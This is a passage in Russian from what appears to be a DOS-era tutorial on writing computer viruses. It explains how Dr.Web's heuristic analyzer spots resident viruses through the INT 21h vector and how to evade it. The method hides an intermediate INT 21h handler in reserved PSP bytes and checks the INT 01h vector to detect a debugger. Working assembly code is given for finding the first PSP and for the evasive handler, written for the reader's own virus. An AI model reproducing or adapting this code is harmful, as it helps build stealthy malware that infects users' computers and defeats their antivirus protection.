сказано .Но есть несколько весьма интересных и за-
служивающих вашего внимания вопросов,о которых по-
чти не упоминается в литературе .Речь идет о пос-
троении вирусов, " невидимых " для антивирусных
программ.В самом деле,один - единственный "обыск"
с помощью программы DOCTOR WEB на диске или в па-
мяти может свести все наши усилия к нулю . Поэтому
самое время поговорить о способах скрытия вирусом
своего наличия в вычислительной системе .
Технику защиты вирусной программы от обнаружения
мы рассмотрим на примере всем известного антивиру-
са DOCTOR WEB.Именно эта программа является наибо-
лее удачной и используемой.
Как вы знаете, для обнаружения неизвестных вирусов
DOCTOR WEB использует так называемый эвристический
анализатор, моделирующий действия человека, желаю-
щего обнаружить новый вирус.
Все изложенное ниже базируется на следующем пред-
положении :эвристический анализатор, по существу,
представляет собой комбинацию пошагового отладчика
и программы, анализирующей результаты его работы .
Перейдем к делу . Если вы " заразите " ваш ком-
пьютер написанным ранее резидентным COM - вирусом,
а потом запустите DOCTOR WEB ( режим тестирования
памяти должен быть включен ), то вирус будет обна-
ружен как неизвестный резидентный .Кроме того, ан-
тивирусная программа определит адрес в памяти, по
которому находится вирусный код . Если вы просмот-
рите содержимое памяти по этому адресу,то увидите,
что DOCTOR WEB " ошибся ".А именно - по указанному
адресу расположен собственно не сам вирус,а только
его обработчик прерывания INT 21h.На остальные ви-
русные обработчики антивирус не обратил внимания .
Исходя из этого можно сделать такие выводы :
1.) Эвристический анализатор определяет, на какой
адрес указывает вектор прерывания INT 21h в
таблице векторов .
2.) Далее вступают в действие следующие соображе-
ния : Обработчик прерывания INT 21h почти ни-
когда не может находиться в самых младших (на-
пример,в области данных BIOS) или в самых ста-
рших (например, в последнем сегменте) адресах
основной памяти .Поэтому при обнаружении такой
ситуации эвристический анализатор считает, что
система заражена неизвестным вирусом,и в каче-
стве адреса, по которому расположен его код ,
выдает адрес обработчика INT 21h .
Как видим, все не так уже и сложно.Далее пользова-
тель должен решать сам,действительно ли вирус при-
сутствует в его компьютере. Отметим, что для реше-
ния этого вопроса нужно иметь довольно высокую
квалификацию, поэтому для подавляющего большинства
пользователей задача представляется неразрешимой.
2.3 Как реализовать защиту от
эвристического анализа
Очевидно, вирус не будет найден в памяти,если раз-
местить обработчик INT 21h в той ее части, в кото-
рую загружаются пользовательские программы .С дру-
гой стороны, наш вирус помещает свой код в самые
старшие адреса основной памяти . Единственным вы-
ходом из положения было бы написание обработчика ,
состоящего из двух частей. При этом "первая" часть
должна загружаться в область памяти,выделенную для
загрузки прикладных программ,а "вторую" - вместе с
остальной частью вируса - следует записать в стар-
шие адреса основной памяти .В случае возникновения
прерывания INT 21h управление будет передаваться
первой части, которая затем передаст его второй.
К сожалению, данный метод себя не оправдывает.DOC-
TOR WEB в процессе эвристического анализа просто
трассирует обработчик INT 21h до входа в его исхо-
дный ( системный ) код, одновременно контролируя
адрес обработчика, и при получении любых подозри-
тельных результатов выдает сообщение о наличии не-
известного вируса .Поэтому необходимо сделать так,
чтобы при трассировании "первой" части под управ-
лением отладчика вызывался системный обработчик, а
при "нормальном" трассировании - вирусный ( экспе-
рименты показывают,что DOCTOR WEB,вероятнее всего,
содержит встроенный отладчик) .Для реализации ука-
занного метода можно использовать особенность мик-
ропроцессора, состоящую в наличии очереди команд .
Однако этот путь по существу является тупиковым,
так как вирус, реализующий такой алгоритм,не будет
работать на процессорах PENTIUM из-за наличия в
последних так называемой системы прогнозирования
переходов. Мы же поступим по другому.Как вы знаете
все отладчики интенсивно используют прерывание 01h
( One Step ),обработчик которого останавливает ра-
боту микропроцессора после выполнения каждой ко-
манды. Поэтому естественно предположить, что для
проведения эвристического анализа DOCTOR WEB уста-
навливает собственный обработчик Int 01h,а значит,
заменяет адрес системного обработчика в таблице
векторов прерываний.На факт замены этого адреса мы
и будем ориентироваться. Экспериментальным путем
было установлено, что системный обработчик Int 01h
находится в памяти по такому адресу : 0070:XXXX.
Следовательно, достаточно проверить сегментный ад-
рес обработчика Int 01h, чтобы сказать, перехваче-
но-ли это прерывание какой-нибудь прикладной про-
граммой.
Следующая проблема,возникающая при построении про-
граммы обработки прерывания из двух частей, состо-
ит вот в чем: непонятно, куда именно следует поме-
стить " первую " часть,чтобы она не затиралась при
загрузке программ и их работе, и не была бы видна
с помощью, например, VC.COM или RELEASE.
Многочисленными экспериментами было установлено ,
что для размещения участка обработчика прерывания,
ответственного за " обман " эвристического анали-
затора, можно использовать байты с 38h по 5Ch,при-
надлежащие PSP первой загруженной в память програ-
ммы .Эти байты зарезервированы разработчиками опе-
рационной системы, вероятно,для будущих ее версий,
и их значения остаются постоянными в течение всего
сеанса работы компьютера .Кроме того, зарезервиро-
ванного пространства в PSP вполне хватит для раз-
мещения программы обработки прерывания .
Итак, можно предложить следующий алгоритм :
1.) Отыскивается PSP первой загруженной в память
программы .
2.) В байты 38h - 5Ch записывается код " промежу-
точного " обработчика прерывания INT 21h .Этот
код должен вызывать системный обработчик при
работе под управлением отладчика и вирусный в
противном случае .
* На самом деле можно использовать и другие об-
ласти PSP, расположенные после байта со смеще-
нием 5Ch ( примерно 32 байта - без всяких пос-
ледствий. ).
3.) В таблице векторов прерываний вектор INT 21h
заменяется на точку входа в промежуточный об-
работчик .
Вот, собственно, и все .
2.4 Реализуем предложенный алгоритм
Как мы договорились,сначала следует найти PSP пер-
вой загруженной в память программы .Это можно сде-
лать следующим образом :
find_psp: push es ;Найдем первый
xor di,di ;PSP в памяти
xor ax,ax
to_new_seg:inc ax
mov es,ax
cmp ax,0ffffh ;Этот сегмент -
jae free_mem ;последний ?
cmp byte ptr es:[di],4dh
;Это - MCB -
;блок ?
jne to_new_seg ;Нет !
to_test: mov bx,ax ;Да !
add bx,es:[di+3]
inc bx
mov es,bx
cmp byte ptr es:[di],4dh
;Следующий MCB
;корректен ?
je restore_es ;Да !
cmp byte ptr es:[di],5ah
jne to_new_seg ;Нет !
restore_es:mov es,ax
cmp word ptr es:[di+1],0 ;MCB свободен ?
je to_new_seg ;Да !
mov bx,es
inc bx
cmp es:[di+1],bx
jne to_new_seg
cmp byte ptr es:[di+10h],0cdh ;После MCB сле-
;дует PSP ?
jne to_new_seg ;Нет - тогда он
;нас не интере-
;сует ...
mov first_psp,es ;Да - найдена
mov cx,es ;нужная нам
dec es_save ;область памяти
cmp es_save,cx ;А может, мы на-
;шли свой же
;PSP ?
jne add_05h ;Нет !
pop es
jmp fresh_input ;Да !
add_05h: add first_psp,05h
Напомним, что PSP располагается в памяти сразу
вслед за MCB - блоком,выделенным операционной сис-
темой для загрузки программы, а первым байтом PSP
должно быть число 0CDh, что и используется в при-
веденном фрагменте .
Дополнительно следует рассмотреть следующую ситуа-
цию : обычно первым PSP в памяти является PSP ко-
мандного процессора COMMAND.COM . Но при некоторых
конфигурациях операционой системы (например, при
использовании WINDOWS 95 в режиме эмуляции MS DOS)
это правило иногда не соблюдается .Может случиться
так, что первой в файле AUTOEXEC.BAT для загрузки
указана нерезидентная EXE - программа, зараженная
нашим вирусом.При старте этой программы вирус фак-
тически отыщет ее же PSP и запишет туда текст про-
межуточного обработчика INT 21h . Далее программа
нерезидентно завершится, после чего занимаемая ею
память будет использована другими программами, по-
этому наш промежуточный обработчик будет затерт ,
и компьютер обязательно повиснет . Чтобы этого не
произошло, вирус проверяет, какой именно PSP был
найден первым, и если имела место описанная выше
ситуация, отказывается от заражения памяти .
В остальном работа фрагмента ясна .
2.5 Пишем промежуточный обработчик
Теперь следует написать " промежуточный " обработ-
чик прерывания INT 21h,который должен вызывать си-
стемный или вирусный обработчики данного прерыва-
ния в зависимости от режима работы процессора .Эту
задачу можно решить, например, так :
to_bios: push ax ;Текст промежу-
;точного
push ds ;обработчика
;INT 21h ...
pushf
xor ax,ax
mov ds,ax
cmp word ptr ds:[0006h],0070h ;Int 01h пере-
;хвачено ?
jne cs:uuuuu ;JMP на систем-
;ный или вирус-
;ный обработчики
;INT 21h ...
popf
pop ds
pop ax
db 0eah ;На вирусный ...
our_21h_ip dw to_new_21h
our_21h_cs dw 00h
uuuuu: popf
pop ds
pop ax
db 0eah ;На системный...
sys_21h_ip dw 00h
sys_21h_cs dw 00h
code_len equ $ - to_bios ;Длина обработ-
;чика
Данный фрагмент написан настолько просто, что ни-
каких пояснений по поводу его работы не требуется.